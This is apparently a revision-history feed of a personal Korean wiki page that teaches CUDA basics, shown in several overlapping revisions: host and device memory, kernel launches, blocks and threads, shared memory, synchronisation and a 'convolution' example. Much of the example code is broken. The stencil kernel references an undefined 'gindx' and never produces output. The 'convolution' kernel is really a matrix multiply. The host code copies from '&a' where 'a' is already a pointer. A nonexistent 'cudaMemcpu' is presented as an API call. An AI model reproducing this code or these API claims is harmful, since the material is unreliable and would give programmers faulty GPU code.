Shared Memory는 캐쉬와는 다르게 프로그래머가 정확이 어떠한 변수가 메모리 영역에 올라갈지를 결정할 수 있다. Shared Memory영역은 같은 스레드간에 공유될 수 있다. 만약 모든 병렬 처리가 block으로 나누어진다면, 스레드가 필요없는 것처럼 보인다. 그렇다면 왜 스레드를 사용하여야 하는 것인가? 이는 Communicate와 Synchronize의 측면에서 장점이 있기 때문이다. 예를 들어서 1D 배열에서 주위의 변수들의 합을 구하는 프로그램을 짠다고 해보자. 이러할 경우 만약 [-3, 나, +3] 의 영역의 합을 구한다면 같은 메모리 위치에 모두 7번 접근해서 각각의 블럭을 처리해야 한다. 그러나 이러한 일은 매우 비효율 적인 일이다. 따라서 스레드를 이용해서 shared memory를 통해서 이러한 한계를 극복할 수 있다.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
// [가장자리 0, 가장자리 2, ..., 가장자리 + RADIUS, 가운데 0, ..., 가운데 BLOCK_SIZE - 2 *  RADIUS, 가장자리 ...]&lt;br /&gt;
__global__void stencil_1d(int *in, int *out) {&lt;br /&gt;
    // 가장자리를 제외한 부분의 영역을 공유 메모리에 적재&lt;br /&gt;
    __shared__ int temp[BLOCK_SIZE + 2 * RADIUS];&lt;br /&gt;
    int gindex = threadIdx.x + blockIdx.x * blockDim.x;&lt;br /&gt;
    int lindex = threadIdx.x + RADIUS;&lt;br /&gt;
&lt;br /&gt;
    // 가장자리 부분을 공유 메모리에 적재&lt;br /&gt;
    temp[lindex] = in[gindx];&lt;br /&gt;
    if (threadIdx.x &amp;lt; RADIUS) {&lt;br /&gt;
        temp[lindex - RADIUS] = in[gindex - RADIUS];&lt;br /&gt;
        temp[lindex + BLOCK_SIZE] = in[gindex + BLOCK_SIZE];&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Data race ==&lt;br /&gt;
 void __syncthreads();&lt;br /&gt;
이 함수는 블럭당 모든 스레드를 동기화 시킨다. 즉 RAW, WAR, WAW를 없앨 수 있다. &lt;br /&gt;
&lt;br /&gt;
== Host &amp;amp; Device ==&lt;br /&gt;
커널은 비동기적으로 작동하게 된다. 즉 커널과 CPU의 작동은 서로 비동기적이다. 따라서 CPU는 Result를 소비하기 전에 동기화될 필요가 있다. &lt;br /&gt;
* cudaMemcpu: 호스트를 잠시 멈추고 GPU가 결과를 가져오기를 기다린후, 결과를 가져온다.&lt;br /&gt;
* cudaMemcpyAsync: 비동기적으로 결과를 가져온다.&lt;br /&gt;
* cudaDeviceSynchronize: 호스트를 GPU에서 결과 처리가 완료될까지 기다리게 한다. &lt;br /&gt;
&lt;br /&gt;
모든 CUDA API는 Error code를 만들어 낸다. cudaError_t. &lt;br /&gt;
* cudaError_t e = ...SomeCUDAOperation...&lt;br /&gt;
* cudaGetLastError: 마지막 에러를 가져온다.&lt;br /&gt;
&lt;br /&gt;
CUDA는 여러 GPU중 하나를 선택할 수 있다. 이는 여러 Host가 하나의 GPU를 공유하거나, 여러 GPU를 하나의 Host가 공유하는 상황 모두에서 쓰일 수 있다. 또한 하나의 GPU를 가상머신 처럼 여러 GPU로 쪼개서 사용할 수도 있는데, 이는 클라우드와 같이 하나의 GPU를 공유하는 시스템에서 유용하게 사용될 수 있다. &lt;br /&gt;
*cudaGetDeviceCount(int *count)&lt;br /&gt;
* cudaSetDevice(int device)&lt;br /&gt;
* cudaGetDevice(int *device)&lt;br /&gt;
* cudaGetDeviceProperties(cudaDeviceProp *prop, int device)&lt;br /&gt;
* cudaMemcpu: GPU와 GPU사이의 통신을 목적으로 사용될 수 있다.&lt;br /&gt;
&lt;br /&gt;
== 예시 ==&lt;br /&gt;
=== Convolution ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
__global__ void cuda_conv2d(double* image, double* kernel, double*result, int m, int n, int k) {&lt;br /&gt;
    int row_index = threadIdx.y + blockIdx.y * blockDim.y;&lt;br /&gt;
    int col_index = threadIdx.x + blockIdx.x * blockDim.x;&lt;br /&gt;
&lt;br /&gt;
    if(row_index &amp;lt; m &amp;amp;&amp;amp; col_index &amp;lt; n) {&lt;br /&gt;
        for(int i=0;i&amp;lt;k;++i) {&lt;br /&gt;
            result[row_index * n + col_index] += image[row_index * k + i] * kernel[n * i + col_index];&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
extern &amp;quot;C&amp;quot; void conv2d(double *image, double *kernel, double *result, int m, int n, int k)&lt;br /&gt;
{&lt;br /&gt;
    double *d_image, *d_kernel, *d_result;&lt;br /&gt;
&lt;br /&gt;
    cudaMalloc((void**)&amp;amp;d_image, m * k * sizeof(double));&lt;br /&gt;
    cudaMalloc((void**)&amp;amp;d_kernel, n * k * sizeof(double));&lt;br /&gt;
    cudaMalloc((void**)&amp;amp;d_result, m * n * sizeof(double));&lt;br /&gt;
&lt;br /&gt;
    cudaMemcpy(d_image, image, m * k * sizeof(double), cudaMemcpyHostToDevice);&lt;br /&gt;
    cudaMemcpy(d_kernel, kernel, n * k * sizeof(double), cudaMemcpyHostToDevice);&lt;br /&gt;
&lt;br /&gt;
    int row_index = (n - 1) / 32 + 1;&lt;br /&gt;
    int col_index = (m - 1) / 32 + 1;&lt;br /&gt;
&lt;br /&gt;
    dim3 dim_block = dim3(32, 32, 1);&lt;br /&gt;
    dim3 dim_thread = dim3(row_index, col_index);&lt;br /&gt;
&lt;br /&gt;
    cuda_conv2d&amp;lt;&amp;lt;&amp;lt;dim_thread, dim_block&amp;gt;&amp;gt;&amp;gt;(d_image, d_kernel, d_result, m, n, k);&lt;br /&gt;
&lt;br /&gt;
    cudaMemcpy(result, d_result, m * n * sizeof(double), cudaMemcpyDeviceToHost);&lt;br /&gt;
&lt;br /&gt;
    cudaFree(d_image);&lt;br /&gt;
    cudaFree(d_kernel);&lt;br /&gt;
    cudaFree(d_result);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 참고 ==&lt;br /&gt;
# http://haanjack.github.io/cuda/2016/03/27/cuda-prog-model.html&lt;br /&gt;
# CUDA programming NVIDA Manual&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=CUDA&amp;diff=7174</id>
		<title>CUDA</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=CUDA&amp;diff=7174"/>
		<updated>2026-09-21T05:25:12Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[분류: 시스템 프로그래밍]]&lt;br /&gt;
&lt;br /&gt;
== 개요 ==&lt;br /&gt;
* Host: CPU&lt;br /&gt;
* Device: GPU&lt;br /&gt;
* device code: code run in GPU (written in c (API), Compile to execute in GPU)&lt;br /&gt;
* host code: code run in CPU (written in c)&lt;br /&gt;
&lt;br /&gt;
우선 CPU메모리에서 GPU메모리로 복사가 일어난뒤, (PCI Bus를 통해서) GPU 코드를 로드하고 실행시키게 된다. 코드가 실행되고 결과는 다시 GPU메모리에서 CPU메모리로 Copy되게 된다. 메모리와 디바이스는 서로 메모리가 분리되어 있기 때문에, 메모리의 위치가 중요한 역활을 한다. nvcc는 device code와 host code를 분리하여 서로 다른 컴파일러로 컴파일하고 결과를 하나로 합치는 역활을 한다.&lt;br /&gt;
&lt;br /&gt;
== 키워드 ==&lt;br /&gt;
* __global__: 이 키워드가 붙은 함수는 host에서 호출되어 device에서 실행된다. &lt;br /&gt;
* mykernel&amp;lt;&amp;lt;&amp;lt;1,1&amp;gt;&amp;gt;&amp;gt;(): triple brackets은 CPU가 GPU를 호출한다고 명시하는 것을 말한다. __global__을 붙히고 triple brackets를 쓰지 않으면, nvcc는 error을 내보낸다. &lt;br /&gt;
&lt;br /&gt;
== 메모리 관련 함수 ==&lt;br /&gt;
GPU 커널 함수에 넘기는 포인터는 GPU에 할당된 메모리여야 한다. 즉 포이터가 GPU메모리에 위치하는가, CPU메모리에 위치하느냐에 따라서 분리하여 생각해야 된다. 따라서 다음과 같은 함수를 이용해서 메모리를 할당하고 해제하는 것이 필요하다. 여기서 중요한 것은 메모리 할당 함수에 넘기는 포인터는 포인터의 주소값 즉 더블 포인터를 넘겨야 한다. 왜냐하면, 쿠다는 항상 에러 값을 리턴하고자 하기 때문에 기존의 C처럼 할당된 부분이 리턴되는 것이 아니라 포인터의 주소값을 이용해서 포인터 값 그자체를 바꾸기 때문이다. &lt;br /&gt;
* cudaMalloc&lt;br /&gt;
* cudaFree&lt;br /&gt;
* cudaMemcpy&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
__global__ void add(int *a, int *b, int *c) {&lt;br /&gt;
    *c = *a + *b;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
int main(void) {&lt;br /&gt;
    int a, b, c;&lt;br /&gt;
    int *da, *db, *dc;&lt;br /&gt;
    cudaMalloc((void **)&amp;amp;da, sizeof(int));&lt;br /&gt;
    cudaMalloc((void **)&amp;amp;db, sizeof(int));&lt;br /&gt;
    cudaMalloc((void **)&amp;amp;dc, sizeof(int));&lt;br /&gt;
    // 만약, da에 host에서 접근하면 segmentation fault가 발생한다.&lt;br /&gt;
    // 왜냐하면, da는 device에서 사용하는 포인터이기 때문이다. &lt;br /&gt;
&lt;br /&gt;
    // Host -&amp;gt; Device&lt;br /&gt;
    cudaMemcpy(da, &amp;amp;a, sizeof(int), cudaMemcpyHostToDevice);&lt;br /&gt;
    cudaMemcpy(db, &amp;amp;b, sizeof(int), cudaMemcpyHostToDevice);&lt;br /&gt;
&lt;br /&gt;
    // Lauch add() kernel&lt;br /&gt;
    add&amp;lt;&amp;lt;&amp;lt;1,1&amp;gt;&amp;gt;&amp;gt;(da, db, dc);&lt;br /&gt;
&lt;br /&gt;
    // Device -&amp;gt; Host&lt;br /&gt;
    cudaMemcpy(&amp;amp;c, dc, sizeof(int), cudaMemcpyDeviceToHost);&lt;br /&gt;
&lt;br /&gt;
    // Cleanup&lt;br /&gt;
    cudaFree(da); cudaFree(db); cudaFree(dc);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Block ==&lt;br /&gt;
GPU는 한번에 많은 데이터를 처리할 수 있는데, 이는 Block을 사용하여 이루어진다. 예를 들어서 add가 병렬적으로 처리된다고 할경우 각각의 add는 block이라고 불리운다. 또한 이러한 block들의 묶음을 grid라고 한다. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
__global__ void add(int *a, int *b, int *c) {&lt;br /&gt;
    c[blockIdx.x] = a[blockIdx.x] + b[blockIdx.x];&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
int main(void) {&lt;br /&gt;
    int *a, *b, *c;&lt;br /&gt;
    int *da, *db, *dc;&lt;br /&gt;
&lt;br /&gt;
    a = malloc(N * sizeof(int));&lt;br /&gt;
    b = malloc(N * sizeof(int));&lt;br /&gt;
    c = malloc(N * sizeof(int));&lt;br /&gt;
&lt;br /&gt;
    cudaMalloc((void **)&amp;amp;da, sizeof(int) * N);&lt;br /&gt;
    cudaMalloc((void **)&amp;amp;db, sizeof(int) * N);&lt;br /&gt;
    cudaMalloc((void **)&amp;amp;dc, sizeof(int) * N);&lt;br /&gt;
    // 만약, da에 host에서 접근하면 segmentation fault가 발생한다.&lt;br /&gt;
    // 왜냐하면, da는 device에서 사용하는 포인터이기 때문이다. &lt;br /&gt;
&lt;br /&gt;
    // Host -&amp;gt; Device&lt;br /&gt;
    cudaMemcpy(da, &amp;amp;a, sizeof(int) * N, cudaMemcpyHostToDevice);&lt;br /&gt;
    cudaMemcpy(db, &amp;amp;b, sizeof(int) * N, cudaMemcpyHostToDevice);&lt;br /&gt;
&lt;br /&gt;
    // Lauch add() kernel (N block)&lt;br /&gt;
    // Lauch N copies of add with add&amp;lt;&amp;lt;&amp;lt;N,1&amp;gt;&amp;gt;&amp;gt;(), each block is distinguished by blockIdx&lt;br /&gt;
    add&amp;lt;&amp;lt;&amp;lt;N,1&amp;gt;&amp;gt;&amp;gt;(da, db, dc);&lt;br /&gt;
&lt;br /&gt;
    // Device -&amp;gt; Host&lt;br /&gt;
    cudaMemcpy(c, dc, sizeof(int) * N, cudaMemcpyDeviceToHost);&lt;br /&gt;
&lt;br /&gt;
    // Cleanup&lt;br /&gt;
    cudaFree(da); cudaFree(db); cudaFree(dc);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Threads ==&lt;br /&gt;
각각의 블락은 thread로 분리될 수 있다. 이는 threadIdx로 구분된다. 또한 이는 add&amp;lt;&amp;lt;&amp;lt;1,N&amp;gt;&amp;gt;&amp;gt;()처럼 N개의 스레드를 사용한다고 명시함으로써 사용되게 된다. Warp는 32(64)개의 스레드로 구성됨으로, GPU내의 warp scheduler가 이 스레드를 K개의 warp로 나누어서 각각의 블럭을 처리하게 된다. 기능적으로는 위의 block을 사용한것과 차이가 없지만, 성능의 차이가 나게 된다. &lt;br /&gt;
&lt;br /&gt;
그런데 block으로 나누어진다면, 스레드가 필요없는 것처럼 보인다. 그렇다면 왜 스레드를 사용하여야 하는 것인가? 이는 Communicate와 Synchronize의 측면에서 장점이 있기 때문이다.&lt;br /&gt;
&lt;br /&gt;
그렇다면 과연 블럭과 스레드를 동시에 사용할 수 있는 방법이 있어야 한다. &lt;br /&gt;
&lt;br /&gt;
한 블럭당 M개의 스레드들이 생성된다면, 각각의 스레드에 대한 unique한 인덱스는 다음과 같이 주어진다. (blockIdx와 threadIdx는 0부터 시작한다.)  &lt;br /&gt;
 int index = threadIdx.x + blockIdx.x * M&lt;br /&gt;
여기서 M은 built-in variable로 blockDim.x이렇게 주어진다. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
__global__ void add(int *a, int *b, int *c, int n) {&lt;br /&gt;
    int index = threadIdx.x + blockIdx.x * blockDim.x;&lt;br /&gt;
    // 여기서 n을 통해서 index가 N을 넘는 것을 방지한다.&lt;br /&gt;
    if (index &amp;lt; n)&lt;br /&gt;
        c[index] = a[index] + b[index];&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#define N (2048*2048)&lt;br /&gt;
#define THREADS_PER_BLOCK 512&lt;br /&gt;
&lt;br /&gt;
int main(void) {&lt;br /&gt;
    int *a, *b, *c;&lt;br /&gt;
    int *da, *db, *dc;&lt;br /&gt;
&lt;br /&gt;
    a = malloc(N * sizeof(int));&lt;br /&gt;
    b = malloc(N * sizeof(int));&lt;br /&gt;
    c = malloc(N * sizeof(int));&lt;br /&gt;
&lt;br /&gt;
    cudaMalloc((void **)&amp;amp;da, sizeof(int) * N);&lt;br /&gt;
    cudaMalloc((void **)&amp;amp;db, sizeof(int) * N);&lt;br /&gt;
    cudaMalloc((void **)&amp;amp;dc, sizeof(int) * N);&lt;br /&gt;
    // 만약, da에 host에서 접근하면 segmentation fault가 발생한다.&lt;br /&gt;
    // 왜냐하면, da는 device에서 사용하는 포인터이기 때문이다. &lt;br /&gt;
&lt;br /&gt;
    // Host -&amp;gt; Device&lt;br /&gt;
    cudaMemcpy(da, &amp;amp;a, sizeof(int) * N, cudaMemcpyHostToDevice);&lt;br /&gt;
    cudaMemcpy(db, &amp;amp;b, sizeof(int) * N, cudaMemcpyHostToDevice);&lt;br /&gt;
&lt;br /&gt;
    // Lauch add() kernel (N block)&lt;br /&gt;
    // Lauch N copies of add with add&amp;lt;&amp;lt;&amp;lt;N,M&amp;gt;&amp;gt;&amp;gt;(), each block is distinguished by blockIdx&lt;br /&gt;
    add&amp;lt;&amp;lt;&amp;lt;N/THREADS_PER_BLOCK,THREADS_PER_BLOCK&amp;gt;&amp;gt;&amp;gt;(da, db, dc, N);&lt;br /&gt;
&lt;br /&gt;
    // Device -&amp;gt; Host&lt;br /&gt;
    cudaMemcpy(c, dc, sizeof(int) * N, cudaMemcpyDeviceToHost);&lt;br /&gt;
&lt;br /&gt;
    // Cleanup&lt;br /&gt;
    free(a); free(b); free(c);&lt;br /&gt;
    cudaFree(da); cudaFree(db); cudaFree(dc);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== [[GPU Memory Architecture]] ==&lt;br /&gt;
=== Shared Memory ===&lt;br /&gt;
Shared Memory는 캐쉬와는 다르게 프로그래머가 정확이 어떠한 변수가 메모리 영역에 올라갈지를 결정할 수 있다. Shared Memory영역은 같은 스레드간에 공유될 수 있다. 만약 모든 병렬 처리가 block으로 나누어진다면, 스레드가 필요없는 것처럼 보인다. 그렇다면 왜 스레드를 사용하여야 하는 것인가? 이는 Communicate와 Synchronize의 측면에서 장점이 있기 때문이다. 예를 들어서 1D 배열에서 주위의 변수들의 합을 구하는 프로그램을 짠다고 해보자. 이러할 경우 만약 [-3, 나, +3] 의 영역의 합을 구한다면 같은 메모리 위치에 모두 7번 접근해서 각각의 블럭을 처리해야 한다. 그러나 이러한 일은 매우 비효율 적인 일이다. 따라서 스레드를 이용해서 shared memory를 통해서 이러한 한계를 극복할 수 있다.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
// [가장자리 0, 가장자리 2, ..., 가장자리 + RADIUS, 가운데 0, ..., 가운데 BLOCK_SIZE - 2 *  RADIUS, 가장자리 ...]&lt;br /&gt;
__global__void stencil_1d(int *in, int *out) {&lt;br /&gt;
    // 가장자리를 제외한 부분의 영역을 공유 메모리에 적재&lt;br /&gt;
    __shared__ int temp[BLOCK_SIZE + 2 * RADIUS];&lt;br /&gt;
    int gindex = threadIdx.x + blockIdx.x * blockDim.x;&lt;br /&gt;
    int lindex = threadIdx.x + RADIUS;&lt;br /&gt;
&lt;br /&gt;
    // 가장자리 부분을 공유 메모리에 적재&lt;br /&gt;
    temp[lindex] = in[gindx];&lt;br /&gt;
    if (threadIdx.x &amp;lt; RADIUS) {&lt;br /&gt;
        temp[lindex - RADIUS] = in[gindex - RADIUS];&lt;br /&gt;
        temp[lindex + BLOCK_SIZE] = in[gindex + BLOCK_SIZE];&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Data race ==&lt;br /&gt;
 void __syncthreads();&lt;br /&gt;
이 함수는 블럭당 모든 스레드를 동기화 시킨다. 즉 RAW, WAR, WAW를 없앨 수 있다. &lt;br /&gt;
&lt;br /&gt;
== Host &amp;amp; Device ==&lt;br /&gt;
커널은 비동기적으로 작동하게 된다. 즉 커널과 CPU의 작동은 서로 비동기적이다. 따라서 CPU는 Result를 소비하기 전에 동기화될 필요가 있다. &lt;br /&gt;
* cudaMemcpu: 호스트를 잠시 멈추고 GPU가 결과를 가져오기를 기다린후, 결과를 가져온다.&lt;br /&gt;
* cudaMemcpyAsync: 비동기적으로 결과를 가져온다.&lt;br /&gt;
* cudaDeviceSynchronize: 호스트를 GPU에서 결과 처리가 완료될까지 기다리게 한다. &lt;br /&gt;
&lt;br /&gt;
모든 CUDA API는 Error code를 만들어 낸다. cudaError_t. &lt;br /&gt;
* cudaError_t e = ...SomeCUDAOperation...&lt;br /&gt;
* cudaGetLastError: 마지막 에러를 가져온다.&lt;br /&gt;
&lt;br /&gt;
CUDA는 여러 GPU중 하나를 선택할 수 있다. 이는 여러 Host가 하나의 GPU를 공유하거나, 여러 GPU를 하나의 Host가 공유하는 상황 모두에서 쓰일 수 있다. 또한 하나의 GPU를 가상머신 처럼 여러 GPU로 쪼개서 사용할 수도 있는데, 이는 클라우드와 같이 하나의 GPU를 공유하는 시스템에서 유용하게 사용될 수 있다. &lt;br /&gt;
*cudaGetDeviceCount(int *count)&lt;br /&gt;
* cudaSetDevice(int device)&lt;br /&gt;
* cudaGetDevice(int *device)&lt;br /&gt;
* cudaGetDeviceProperties(cudaDeviceProp *prop, int device)&lt;br /&gt;
* cudaMemcpu: GPU와 GPU사이의 통신을 목적으로 사용될 수 있다.&lt;br /&gt;
&lt;br /&gt;
== 예시 ==&lt;br /&gt;
=== Convolution ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
__global__ void cuda_conv2d(double* image, double* kernel, double*result, int m, int n, int k) {&lt;br /&gt;
    int row_index = threadIdx.y + blockIdx.y * blockDim.y;&lt;br /&gt;
    int col_index = threadIdx.x + blockIdx.x * blockDim.x;&lt;br /&gt;
&lt;br /&gt;
    if(row_index &amp;lt; m &amp;amp;&amp;amp; col_index &amp;lt; n) {&lt;br /&gt;
        for(int i=0;i&amp;lt;k;++i) {&lt;br /&gt;
            result[row_index * n + col_index] += image[row_index * k + i] * kernel[n * i + col_index];&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
extern &amp;quot;C&amp;quot; void conv2d(double *image, double *kernel, double *result, int m, int n, int k)&lt;br /&gt;
{&lt;br /&gt;
    double *d_image, *d_kernel, *d_result;&lt;br /&gt;
&lt;br /&gt;
    cudaMalloc((void**)&amp;amp;d_image, m * k * sizeof(double));&lt;br /&gt;
    cudaMalloc((void**)&amp;amp;d_kernel, n * k * sizeof(double));&lt;br /&gt;
    cudaMalloc((void**)&amp;amp;d_result, m * n * sizeof(double));&lt;br /&gt;
&lt;br /&gt;
    cudaMemcpy(d_image, image, m * k * sizeof(double), cudaMemcpyHostToDevice);&lt;br /&gt;
    cudaMemcpy(d_kernel, kernel, n * k * sizeof(double), cudaMemcpyHostToDevice);&lt;br /&gt;
&lt;br /&gt;
    int row_index = (n - 1) / 32 + 1;&lt;br /&gt;
    int col_index = (m - 1) / 32 + 1;&lt;br /&gt;
&lt;br /&gt;
    dim3 dim_block = dim3(32, 32, 1);&lt;br /&gt;
    dim3 dim_thread = dim3(row_index, col_index);&lt;br /&gt;
&lt;br /&gt;
    cuda_conv2d&amp;lt;&amp;lt;&amp;lt;dim_thread, dim_block&amp;gt;&amp;gt;&amp;gt;(d_image, d_kernel, d_result, m, n, k);&lt;br /&gt;
&lt;br /&gt;
    cudaMemcpy(result, d_result, m * n * sizeof(double), cudaMemcpyDeviceToHost);&lt;br /&gt;
&lt;br /&gt;
    cudaFree(d_image);&lt;br /&gt;
    cudaFree(d_kernel);&lt;br /&gt;
    cudaFree(d_result);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 참고 ==&lt;br /&gt;
# http://haanjack.github.io/cuda/2016/03/27/cuda-prog-model.html&lt;br /&gt;
# CUDA programming NVIDA Manual&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=CUDA&amp;diff=7173</id>
		<title>CUDA</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=CUDA&amp;diff=7173"/>
		<updated>2026-09-21T05:24:51Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[분류: 시스템 프로그래밍]]&lt;br /&gt;
&lt;br /&gt;
== 개요 ==&lt;br /&gt;
* Host: CPU&lt;br /&gt;
* Device: GPU&lt;br /&gt;
* device code: code run in GPU (written in c (API), Compile to execute in GPU)&lt;br /&gt;
* host code: code run in CPU (written in c)&lt;br /&gt;
&lt;br /&gt;
우선 CPU메모리에서 GPU메모리로 복사가 일어난뒤, (PCI Bus를 통해서) GPU 코드를 로드하고 실행시키게 된다. 코드가 실행되고 결과는 다시 GPU메모리에서 CPU메모리로 Copy되게 된다. 메모리와 디바이스는 서로 메모리가 분리되어 있기 때문에, 메모리의 위치가 중요한 역활을 한다. nvcc는 device code와 host code를 분리하여 서로 다른 컴파일러로 컴파일하고 결과를 하나로 합치는 역활을 한다.&lt;br /&gt;
&lt;br /&gt;
== 키워드 ==&lt;br /&gt;
* __global__: 이 키워드가 붙은 함수는 host에서 호출되어 device에서 실행된다. &lt;br /&gt;
* mykernel&amp;lt;&amp;lt;&amp;lt;1,1&amp;gt;&amp;gt;&amp;gt;(): triple brackets은 CPU가 GPU를 호출한다고 명시하는 것을 말한다. __global__을 붙히고 triple brackets를 쓰지 않으면, nvcc는 error을 내보낸다. &lt;br /&gt;
&lt;br /&gt;
== 메모리 관련 함수 ==&lt;br /&gt;
GPU 커널 함수에 넘기는 포인터는 GPU에 할당된 메모리여야 한다. 즉 포이터가 GPU메모리에 위치하는가, CPU메모리에 위치하느냐에 따라서 분리하여 생각해야 된다. 따라서 다음과 같은 함수를 이용해서 메모리를 할당하고 해제하는 것이 필요하다. 여기서 중요한 것은 메모리 할당 함수에 넘기는 포인터는 포인터의 주소값 즉 더블 포인터를 넘겨야 한다. 왜냐하면, 쿠다는 항상 에러 값을 리턴하고자 하기 때문에 기존의 C처럼 할당된 부분이 리턴되는 것이 아니라 포인터의 주소값을 이용해서 포인터 값 그자체를 바꾸기 때문이다. &lt;br /&gt;
* cudaMalloc&lt;br /&gt;
* cudaFree&lt;br /&gt;
* cudaMemcpy&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
__global__ void add(int *a, int *b, int *c) {&lt;br /&gt;
    *c = *a + *b;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
int main(void) {&lt;br /&gt;
    int a, b, c;&lt;br /&gt;
    int *da, *db, *dc;&lt;br /&gt;
    cudaMalloc((void **)&amp;amp;da, sizeof(int));&lt;br /&gt;
    cudaMalloc((void **)&amp;amp;db, sizeof(int));&lt;br /&gt;
    cudaMalloc((void **)&amp;amp;dc, sizeof(int));&lt;br /&gt;
    // 만약, da에 host에서 접근하면 segmentation fault가 발생한다.&lt;br /&gt;
    // 왜냐하면, da는 device에서 사용하는 포인터이기 때문이다. &lt;br /&gt;
&lt;br /&gt;
    // Host -&amp;gt; Device&lt;br /&gt;
    cudaMemcpy(da, &amp;amp;a, sizeof(int), cudaMemcpyHostToDevice);&lt;br /&gt;
    cudaMemcpy(db, &amp;amp;b, sizeof(int), cudaMemcpyHostToDevice);&lt;br /&gt;
&lt;br /&gt;
    // Lauch add() kernel&lt;br /&gt;
    add&amp;lt;&amp;lt;&amp;lt;1,1&amp;gt;&amp;gt;&amp;gt;(da, db, dc);&lt;br /&gt;
&lt;br /&gt;
    // Device -&amp;gt; Host&lt;br /&gt;
    cudaMemcpy(&amp;amp;c, dc, sizeof(int), cudaMemcpyDeviceToHost);&lt;br /&gt;
&lt;br /&gt;
    // Cleanup&lt;br /&gt;
    cudaFree(da); cudaFree(db); cudaFree(dc);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Block ==&lt;br /&gt;
GPU는 한번에 많은 데이터를 처리할 수 있는데, 이는 Block을 사용하여 이루어진다. 예를 들어서 add가 병렬적으로 처리된다고 할경우 각각의 add는 block이라고 불리운다. 또한 이러한 block들의 묶음을 grid라고 한다. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
__global__ void add(int *a, int *b, int *c) {&lt;br /&gt;
    c[blockIdx.x] = a[blockIdx.x] + b[blockIdx.x];&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
int main(void) {&lt;br /&gt;
    int *a, *b, *c;&lt;br /&gt;
    int *da, *db, *dc;&lt;br /&gt;
&lt;br /&gt;
    a = malloc(N * sizeof(int));&lt;br /&gt;
    b = malloc(N * sizeof(int));&lt;br /&gt;
    c = malloc(N * sizeof(int));&lt;br /&gt;
&lt;br /&gt;
    cudaMalloc((void **)&amp;amp;da, sizeof(int) * N);&lt;br /&gt;
    cudaMalloc((void **)&amp;amp;db, sizeof(int) * N);&lt;br /&gt;
    cudaMalloc((void **)&amp;amp;dc, sizeof(int) * N);&lt;br /&gt;
    // 만약, da에 host에서 접근하면 segmentation fault가 발생한다.&lt;br /&gt;
    // 왜냐하면, da는 device에서 사용하는 포인터이기 때문이다. &lt;br /&gt;
&lt;br /&gt;
    // Host -&amp;gt; Device&lt;br /&gt;
